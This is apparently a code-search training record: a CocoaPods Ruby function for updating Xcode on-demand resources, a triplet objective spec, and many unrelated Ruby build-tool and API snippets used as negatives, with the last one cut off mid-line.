def update_on_demand_resources(sandbox, project, native_targets, file_accessors, parent_odr_group, target_odr_group_name) category_to_tags = {} file_accessors = Array(file_accessors) native_targets = Array(native_targets) # Target no longer provides ODR references so remove everything related to this target. if file_accessors.all? { |fa| fa.on_demand_resources.empty? } old_target_odr_group = parent_odr_group[target_odr_group_name] old_odr_file_refs = old_target_odr_group&.recursive_children_groups&.each_with_object({}) do |group, hash| hash[group.name] = group.files end || {} native_targets.each do |native_target| native_target.remove_on_demand_resources(old_odr_file_refs) update_on_demand_resources_build_settings(native_target, nil => old_odr_file_refs.keys) end old_target_odr_group&.remove_from_project return end target_odr_group = parent_odr_group[target_odr_group_name] || parent_odr_group.new_group(target_odr_group_name) current_file_refs = target_odr_group.recursive_children_groups.flat_map(&:files) added_file_refs = file_accessors.flat_map do |file_accessor| target_odr_files_refs = Hash[file_accessor.on_demand_resources.map do |tag, value| tag_group = target_odr_group[tag] || target_odr_group.new_group(tag) category_to_tags[value[:category]] ||= [] category_to_tags[value[:category]] << tag resources_file_refs = value[:paths].map do |resource| odr_resource_file_ref = Pathname.new(resource).relative_path_from(sandbox.root) tag_group.find_file_by_path(odr_resource_file_ref.to_s) || tag_group.new_file(odr_resource_file_ref) end [tag, resources_file_refs] end] native_targets.each do |native_target| native_target.add_on_demand_resources(target_odr_files_refs) end target_odr_files_refs.values.flatten end # if the target ODR file references were updated, make sure we remove the ones that are no longer present # for the target. remaining_refs = current_file_refs - added_file_refs remaining_refs.each do |ref| native_targets.each do |user_target| user_target.resources_build_phase.remove_file_reference(ref) end ref.remove_from_project end target_odr_group.recursive_children_groups.each { |g| g.remove_from_project if g.empty? } attributes = project.root_object.attributes attributes['KnownAssetTags'] = (attributes['KnownAssetTags'] ||= []) | category_to_tags.values.flatten project.root_object.attributes = attributes native_targets.each do |native_target| update_on_demand_resources_build_settings(native_target, category_to_tags) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_on_demand_resources(native_target, app_spec)\n dependent_targets = target.dependent_targets_for_app_spec(app_spec)\n parent_odr_group = native_target.project.group_for_spec(app_spec.name)\n\n # Add ODRs of the app spec dependencies first.\n dependent_targets.each do |pod_target|\n file_accessors = pod_target.file_accessors.select do |fa|\n fa.spec.library_specification? ||\n fa.spec.test_specification? && pod_target.test_app_hosts_by_spec[fa.spec]&.first == app_spec\n end\n target_odr_group_name = \"#{pod_target.label}-OnDemandResources\"\n UserProjectIntegrator::TargetIntegrator.update_on_demand_resources(target.sandbox, native_target.project,\n native_target, file_accessors,\n parent_odr_group, target_odr_group_name)\n end\n\n # Now add the ODRs of our own app spec declaration.\n file_accessor = target.file_accessors.find { |fa| fa.spec == app_spec }\n target_odr_group_name = \"#{target.subspec_label(app_spec)}-OnDemandResources\"\n UserProjectIntegrator::TargetIntegrator.update_on_demand_resources(target.sandbox, native_target.project,\n native_target, file_accessor,\n parent_odr_group, target_odr_group_name)\n end", "def manipulate_resource_list(resources)\n resources + options[:targets].map do |t|\n StaticResource.new(\n app.sitemap,\n t[:output]\n ) { \n File.read(File.expand_path(tmp_path(t), app.root))\n }\n end\n end", "def update!(**args)\n @target_ids = args[:target_ids] if args.key?(:target_ids)\n end", "def setup_target\n link_target_task project.target, (project.sources + [project.main]).map {|fn| objectsify fn }\n end", "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "def remove_nim_resources\n Log.log_info('In remove_nim_resources')\n @targets.each do |target|\n Log.log_debug('target=' + target)\n nim_lpp_source_resource = get_flrtvc_name(:NIM_res, target)\n exists = Nim.lpp_source_exists?(nim_lpp_source_resource)\n Log.log_debug('exists=' +\n exists.to_s)\n if exists\n Nim.remove_lpp_source(nim_lpp_source_resource)\n Log.log_debug('Removing NIM resource ' +\n nim_lpp_source_resource)\n else\n Log.log_debug('Already removed NIM resource ' +\n nim_lpp_source_resource)\n end\n end\n end", "def update!(**args)\n @projects = args[:projects] if args.key?(:projects)\n end", "def include_targets=(value)\n @include_targets = value\n end", "def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end", "def configure_primary_build_configuration_settings(project, name, platforms)\n\n platforms.each do |platform|\n\n # FIXME: abstract away\n target = project.targets.find { |y| y.name == \"#{name} #{platform}\" }\n\n settings = {\n 'INFOPLIST_FILE' => \"#{name}/Info.plist\",\n 'ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES' => 'NO',\n 'PRODUCT_NAME' => \"#{name}\",\n 'CODE_SIGN_IDENTITY[sdk=iphoneos*]' => \"-\",\n 'PRODUCT_BUNDLE_IDENTIFIER' => \"com.dn-m.#{name}\"\n }\n\n settings.each do |key, val|\n target.build_configuration_list.set_setting(key, val)\n end\n end\nend", "def targets=( *args )\n update_state_collection( '@targets', *args )\n end", "def update_targets(targets)\n default_transit_key = options.fetch(:sanctum).fetch(:transit_key, nil)\n default_secrets_version = options.fetch(:sanctum).fetch(:secrets_version)\n\n # TODO: make this better\n # remove_trailing_slash needs to run first, as some of the other logic in other methods\n # rely on it\n targets = remove_trailing_slash(targets)\n targets = set_secrets_version(targets, default_secrets_version)\n targets = set_transit_key(targets, default_transit_key)\n targets = update_prefix(targets)\n targets\n end", "def configure_tests_build_configuration_settings(project, name, platforms)\n\n platforms.each do |platform|\n\n target = project.targets.find { |y| y.name == \"#{name} #{platform} Tests\" }\n\n settings = { \n 'INFOPLIST_FILE' => \"#{name}Tests/Info.plist\",\n 'COMBINE_HIDPI_IMAGES' => 'YES'\n }\n\n settings.each do |key, val|\n target.build_configuration_list.set_setting(key, val)\n end\n end\nend", "def apply\n open_project\n\n umbrella_target = add_umbrella_target_if_needed\n umbrella_files_path = create_umbrella_files\n add_umbrella_files_to_target(umbrella_files_path, umbrella_target)\n add_dependency_to_main_target(umbrella_target)\n\n @project.save\n end", "def apply_projects(attributes)\n attributes[:project_resource] ||= []\n attributes[:project_resource_ids].collect do |project|\n attributes[:project_resource] << find_base(project)\n end\n unless attributes[:project_name].blank?\n attributes[:project_resource] <<\n create_project(attributes[:project_name],\n attributes[:project_identifier])\n end\n trim_attributes(attributes, [:project_identifier,\n :project_name, :project_resource_ids])\n end", "def include_resources(options={})\n options[:sub_dir] ||= 'resources'\n options[:localization] ||= 'en'\n excluded_files = options[:exclude] || []\n resource_group = target.project.pod_group(@pod_name)\n .groups\n .find{|g| g.display_name == \"Resources\"}\n resource_files = []\n if resource_group\n resource_files = resource_group.files\n .reject{|f| excluded_files.include?(f.display_name)}\n end\n if copy_files?(options)\n copy_resources = create_new_copy_files_build_phase(File.join(dst_path, options[:sub_dir]))\n end\n resource_files.each do |resource|\n if write_xml?(options)\n res_path = File.join(destination, options[:sub_dir], resource.display_name)\n if resource.display_name.end_with?('.lproj')\n if resource.display_name == \"#{options[:localization]}.lproj\"\n resource.real_path.each_child do |localization_file|\n localization_path = File.join(res_path, File.basename(localization_file))\n ios_xml_element.add_element(pod_element('resource-file',\n {'src' => localization_path}))\n end\n end\n else\n ios_xml_element.add_element(pod_element('resource-file', {'src' => res_path}))\n end\n end\n if copy_files?(options)\n copy_resources.add_file_reference(resource)\n end\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def run_all\n \n projects.each do |project|\n project.targets.each do |target|\n config = target.config('Debug')\n UI.info((\"*\" * 80))\n UI.info \"Building #{project.name} - #{target.name} - #{config.name}\"\n UI.info((\"*\" * 80))\n config.builder.build\n end\n end\n \n end", "def apple_resource_targets\n filter_targets(@targets, 'apple_resource')\n end", "def update!(**args)\n @target_sites = args[:target_sites] if args.key?(:target_sites)\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def test_targets\n prov = mkprovider\n\n files = {}\n\n # Set the default target\n default = tempfile\n files[:default] = default\n prov.default_target = default\n\n # Create a file object\n inmem = tempfile\n files[:inmemory] = inmem\n prov.target_object(inmem).write(\"inmem yay ness\")\n\n # Lastly, create a resource with separate is and should values\n mtarget = tempfile\n files[:resources] = mtarget\n resource = mkresource \"yay\", :target => mtarget\n\n assert(resource.should(:target), \"Did not get a value for target\")\n\n list = nil\n\n # First run it without the resource\n assert_nothing_raised do\n list = prov.targets\n end\n\n # Make sure it got the first two, but not the resources file\n files.each do |name, file|\n if name == :resources\n assert(! list.include?(file), \"Provider somehow found resource target when no resource was passed\")\n else\n assert(list.include?(file), \"Provider did not find #{name} file\")\n end\n end\n\n # Now list with the resource passed\n assert_nothing_raised do\n list = prov.targets(\"yay\" => resource)\n end\n\n # And make sure we get all three files\n files.each do |name, file|\n assert(list.include?(file), \"Provider did not find #{name} file when resource was passed\")\n end\n end", "def set_push_target_params\n return unless params[:product_version] && params[:product_version][:push_targets]\n params[:product_version][:push_targets] = PushTarget.find params[:product_version][:push_targets]\n end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def targets( paths )\n Target.new( config.targets + paths || [], config.excludes.uniq )\n end", "def target\n filter.into @project.path_to(:target, @usage, :resources) unless filter.target || sources.empty?\n filter.target\n end", "def update!(**args)\n @device_action_capability = args[:device_action_capability] if args.key?(:device_action_capability)\n @project_configs = args[:project_configs] if args.key?(:project_configs)\n end", "def manipulate_resource_list(resources)\n\n\n index_file = app.index_file\n new_index_path = \"/#{index_file}\"\n\n # for each resource\n resources.each do |resource|\n\n # has custom_url in frontmatter\n if resource.raw_data[:custom_url]\n\n # set path as custom_url\n resource.destination_path = resource.raw_data[:custom_url] + new_index_path\n end\n end\n end", "def build_resources( build_also_for_bundle )\n validate\n\n @logger.debug \"Resource dirs for AAPT2 builder: #{@res_dir}\"\n\n flat_list = []\n\n flat_list += compile_res_dir_to_flat(@res_dir)\n\n #Add all resources from maven dependencies\n @maven_deps.res_dirs.each {|d|\n flat_list += compile_res_dir_to_flat(d)\n }\n\n reslist = File.join(@intermediate,'flat.txt')\n File.open( reslist, 'w' ) { |f| f.write flat_list.join(' ') } \n \n\n args_common = [ 'link', \n '-I', @androidjar, \n '--manifest', @manifest, \n '-R', '@'+File.join(reslist),\n '--auto-add-overlay'\n ] \n\n if @no_compress_globs\n @no_compress_globs.each do |ext|\n args_common << '-0'\n args_common << ext\n end\n end\n\n @intermediate_apk = File.join(@intermediate,'output.apk')\n #make a dir to put generated R.java\n rdir = File.join(@intermediate,'rjava')\n mkdir_p (rdir)\n\n args = args_common.clone\n args << '-o'\n args << @intermediate_apk \n args << '--java'\n args << PathToWindowsWay(rdir)\n args << '--output-text-symbols'\n args << PathToWindowsWay(File.join(@rjava_dir, 'R.txt')) \n\n mkdir_p @rjava_dir \n #Finally run link to generate R.java for compiled resources. We need manifest ready at this point\n run_aapt2(args) \n\n #-A option is buggy at least on Windows. It writes \\\\ instead of / to path separators which will affect MANIFEST.MF in target APK and break access to assets\n #So we'll use zip to add assets manually\n #args << \"-A\"\n #args << @assets_dir\n Zip::File.open( @intermediate_apk, create: false ) { |z|\n root = Pathname.new(@assets_dir)\n Dir[File.join(@assets_dir,'**','*')].select{|f| File.file? f}.each{ |f|\n p = Pathname.new(f)\n z.add( File.join('assets',p.relative_path_from(root)) ,f )\n }\n }\n\n if ( build_also_for_bundle )\n #prepared archive name with protobuf data\n @pbprep = File.join(@intermediate,'output_for_bundle.apk')\n\n args_for_bundle = args_common.clone\n args_for_bundle << '-o'\n args_for_bundle << @pbprep \n args_for_bundle << '--proto-format' \n run_aapt2(args_for_bundle) \n end\n \n #We don't really care of package name and relative path where R.java is located\n #We just need to put generated R.java to specified @rjava_dir, so let's just find generated R.java and put it to target dir\n Dir[ File.join(rdir,'**','R.java') ].each { |f|\n cp_r( f, @rjava_dir )\n } \n end", "def assets\n if @assets.nil?\n @assets = AssetsTask.define_task(project._(:target, :main, :assets) => [])\n @assets.project = self\n project.task('assets').enhance([@assets])\n project.build.enhance([@assets])\n end\n @assets\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def addRefs2Target(filePath,targets,group)\n\tfile_refs = []\n\tDir.foreach(filePath) do |file|\n\t\tif file.to_s.end_with?(keyword) then\n\t\t\tpathNeed = File.join(filePath,file)\n\t\t\t# puts path\n\t\t\tfile_ref = group.new_reference(pathNeed)\n\t\t\tfile_refs.push(file_ref)\n\t\t\t# target.resources_build_phase.add_file_reference(file_ref, true)\n\t\tend\n\tend\n\t# add_file_references\n\ttargets.each do |target|\n\t\ttarget.add_resources(file_refs)\n\tend\nend", "def IncludeCleanTargets(*includes)\n @ProjectFileLoader.CurrentlyLoadedProjectFile().CleanList.include(includes)\n end", "def set_translation_target(opts)\n opts = check_params(opts,[:targets])\n super(opts)\n end", "def custom\n Athenry::build.target(\"install_pkgmgr\", \"update_everything\", \"rebuild\", \"update_configs\", \"install_overlays\", \"install_sets\", \"rebuild\")\n end", "def up_to_date?(targets, command, deps, env, options = {})\n Array(targets).each do |target|\n cache_key = get_cache_key(target)\n\n unless Rscons.phony_target?(target)\n # target file must exist on disk\n unless File.exist?(target)\n if options[:debug]\n puts \"Target #{target} needs rebuilding because it does not exist on disk\"\n end\n return false\n end\n end\n\n # target must be registered in the cache\n unless @cache[\"targets\"].has_key?(cache_key)\n if options[:debug]\n puts \"Target #{target} needs rebuilding because there is no cached build information for it\"\n end\n return false\n end\n\n unless Rscons.phony_target?(target)\n # target must have the same checksum as when it was built last\n unless @cache[\"targets\"][cache_key][\"checksum\"] == lookup_checksum(target)\n if options[:debug]\n puts \"Target #{target} needs rebuilding because it has been changed on disk since being built last\"\n end\n return false\n end\n end\n\n # command used to build target must be identical\n unless @cache[\"targets\"][cache_key][\"command\"] == Digest::MD5.hexdigest(command.inspect)\n if options[:debug]\n puts \"Target #{target} needs rebuilding because the command used to build it has changed\"\n end\n return false\n end\n\n cached_deps = @cache[\"targets\"][cache_key][\"deps\"] || []\n cached_deps_fnames = cached_deps.map { |dc| dc[\"fname\"] }\n if options[:strict_deps]\n # depedencies passed in must exactly equal those in the cache\n unless deps == cached_deps_fnames\n if options[:debug]\n puts \"Target #{target} needs rebuilding because the :strict_deps option is given and the set of dependencies does not match the previous set of dependencies\"\n end\n return false\n end\n else\n # all dependencies passed in must exist in cache (but cache may have more)\n unless (Set.new(deps) - Set.new(cached_deps_fnames)).empty?\n if options[:debug]\n puts \"Target #{target} needs rebuilding because there are new dependencies\"\n end\n return false\n end\n end\n\n # set of user dependencies must match\n user_deps = env.get_user_deps(target) || []\n cached_user_deps = @cache[\"targets\"][cache_key][\"user_deps\"] || []\n cached_user_deps_fnames = cached_user_deps.map { |dc| dc[\"fname\"] }\n unless user_deps == cached_user_deps_fnames\n if options[:debug]\n puts \"Target #{target} needs rebuilding because the set of user-specified dependency files has changed\"\n end\n return false\n end\n\n # all cached dependencies must have their checksums match\n (cached_deps + cached_user_deps).each do |dep_cache|\n unless dep_cache[\"checksum\"] == lookup_checksum(dep_cache[\"fname\"])\n if options[:debug]\n puts \"Target #{target} needs rebuilding because dependency file #{dep_cache[\"fname\"]} has changed\"\n end\n return false\n end\n end\n end\n\n true\n end", "def update(target, *source_paths)\n patterns = Parser.new(*source_paths).patterns[:simple]\n LocaleFile.new(target).update(patterns)\n end", "def update!(**args)\n @resource_names = args[:resource_names] if args.key?(:resource_names)\n end", "def update!(**args)\n @example_apis = args[:example_apis] if args.key?(:example_apis)\n @min_sdk_version = args[:min_sdk_version] if args.key?(:min_sdk_version)\n @target_sdk_version = args[:target_sdk_version] if args.key?(:target_sdk_version)\n @unique_apis = args[:unique_apis] if args.key?(:unique_apis)\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def add_resources(resource_file_references)\n resource_file_references.each do |file|\n build_file = project.new(PBXBuildFile)\n build_file.file_ref = file\n resources_build_phase.files << build_file\n end\n end", "def target_params\n params.permit(:project_id,\n :action_state_id,\n target: {\n targets: [:id, :value],\n new_targets: [:value],\n })\n end", "def update!(**args)\n @resource_uri = args[:resource_uri] if args.key?(:resource_uri)\n @target = args[:target] if args.key?(:target)\n end", "def update!(**args)\n @resource_uri = args[:resource_uri] if args.key?(:resource_uri)\n @target = args[:target] if args.key?(:target)\n end", "def updateParallel(*resources)\n if ! advance? then return self end\n @@logger.debug \"Updating resource(s) in parallel #{resources.join(',')}.\"\n resources.each { |resource| @events.push( { :update => resource })}\n return self\n end", "def target_objects=(value)\n @target_objects = value\n end", "def target_objects=(value)\n @target_objects = value\n end", "def preprocess_targets_targeted_refresh!(ems, targets)\n # We want all targets of class EmsEvent to be merged into one target, so they can be refreshed together, otherwise\n # we could be missing some crosslinks in the refreshed data\n # We can also disable targeted refresh with a setting, then we will just do full ems refresh on any event\n targets_by_ems_id[ems.id] = [\n ems.allow_targeted_refresh? ? InventoryRefresh::TargetCollection.new(:targets => targets, :manager => ems) : ems\n ]\n end", "def targets\n project.targets\n end", "def update!(**args)\n @externally_hosted_apk = args[:externally_hosted_apk] unless args[:externally_hosted_apk].nil?\n end", "def update!(**args)\n @externally_hosted_apk = args[:externally_hosted_apk] unless args[:externally_hosted_apk].nil?\n end", "def set_target_project\n @project = Project.find(params[:id])\n end", "def targets=(value)\n @targets = value\n end", "def targets=(value)\n @targets = value\n end", "def update!(**args)\n @data_source_ids = args[:data_source_ids] if args.key?(:data_source_ids)\n end", "def modify_resources_atomically(resources)\n return true if resources.empty? \n set_clauses = []\n where_clauses = []\n values = []\n \n GameRules::Rules.the_rules().resource_types.each do |resource_type|\n base = resource_type[:symbolic_id].to_s()\n \n set_clauses << Fundamental::ResourcePool.modify_resource_sql_set_fragment(base)\n where_clauses << Fundamental::ResourcePool.modify_resource_sql_where_fragment(base)\n\n values.push(resources[resource_type[:id]] || 0)\n end \n set_clauses << \"\\\"productionUpdatedAt\\\" = #{ Fundamental::ResourcePool.now_sql_fragment }\"\n set_clauses << \"\\\"updated_at\\\" = #{ Fundamental::ResourcePool.now_sql_fragment }\"\n where_clauses << \"(id = ?)\"\n \n rows = Fundamental::ResourcePool.update_all([set_clauses.join(', '), *values ], [where_clauses.join(' AND '), *values, self.id])\n rows == 1\n end", "def with_targets(targets)\n targets = Array(targets)\n @invocation[:targets] = targets.map do |target|\n if target.is_a? String\n target\n else\n target.name\n end\n end\n self\n end", "def integrate!\n return if native_targets.empty?\n UI.section(integration_message) do\n add_xcconfig_base_configuration\n add_pods_library\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n user_project.save\n end\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def test_switching_targets\n prov = mkprovider\n\n prov.filetype = :ram\n prov.default_target = :first\n\n # Make three resources, one for each target and one to switch\n first = mkresource \"first\", :target => :first\n second = mkresource \"second\", :target => :second\n mover = mkresource \"mover\", :target => :first\n\n [first, second, mover].each do |m|\n assert_nothing_raised(\"Could not apply #{m[:name]}\") do\n apply(m)\n end\n end\n\n # Flush.\n [first, second, mover].each do |m|\n assert_nothing_raised do\n m.flush\n end\n end\n\n check = proc do |target, name|\n assert(prov.target_object(target).read.include?(\"#{name} a c\"), \"Did not sync #{name}\")\n end\n # Make sure the data is there\n check.call(:first, :first)\n check.call(:second, :second)\n check.call(:first, :mover)\n\n # Now change the target for the mover\n mover[:target] = :second\n\n # Apply it\n assert_nothing_raised do\n apply(mover)\n end\n\n # Flush\n assert_nothing_raised do\n mover.flush\n end\n\n # Make sure the data is there\n check.call(:first, :first)\n check.call(:second, :second)\n check.call(:second, :mover)\n\n # And make sure the mover is no longer in the first file\n assert(prov.target_object(:first) !~ /mover/, \"Mover was not removed from first file\")\n end", "def configure_tasks\n super\n all_sources = []\n @toolchains.each do |toolchain, sources|\n all_sources |= sources\n toolchain.output_folder = @output_folder\n toolchain.project_folder = @project_folder\n toolchain.output_decorator = \"-#{@configuration_name}\"\n CompiledConfiguration.add_framework_dependencies_to_toolchain(toolchain, @dependencies)\n end\n # Give the default toolchain an opportunity to scan all source files for\n # any special needs. For example, a toolchain might look for .cpp files\n # to determine that it should link a project with the \"g++\" vs \"gcc\".\n @default_toolchain.scan_sources(all_sources)\n end", "def update( *events )\n ary = events.find_all {|evt| evt.type != :removed}\n return if ary.empty?\n\n ary.each do |evt|\n logger.debug \"changed #{evt.path}\"\n next unless test ?f, evt.path\n next if evt.path =~ ::Webby.exclude\n Resources.new evt.path\n end\n\n logger.info 'running the build'\n @builder.run :load_files => false, :verbose => false\n rescue => err\n logger.error err\n end", "def target(project, name, platform, isTest)\n test_suffix = isTest ? ' Tests' : ''\n target_name = \"#{name} #{platform}#{test_suffix}\"\n return project.targets.find { |x| x.name == target_name }\nend", "def configure_with_targets(runnable_target, test_target, launch_target: false)\n if runnable_target\n add_build_target(runnable_target)\n set_launch_target(runnable_target) if launch_target\n end\n if test_target\n add_build_target(test_target, false) if test_target != runnable_target\n add_test_target(test_target)\n end\n end", "def publish!\n mkdir_p File.join(self.publish_path, self.to_s)\n self.targets.each do |tgt|\n install File.join(self.to_s, tgt), File.join(self.publish_path, self.to_s, tgt)\n end\n end", "def update!(**args)\n @inventory_source_ids = args[:inventory_source_ids] if args.key?(:inventory_source_ids)\n end", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def get_asset_target_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AssetApi.get_asset_target_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/asset/Targets'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 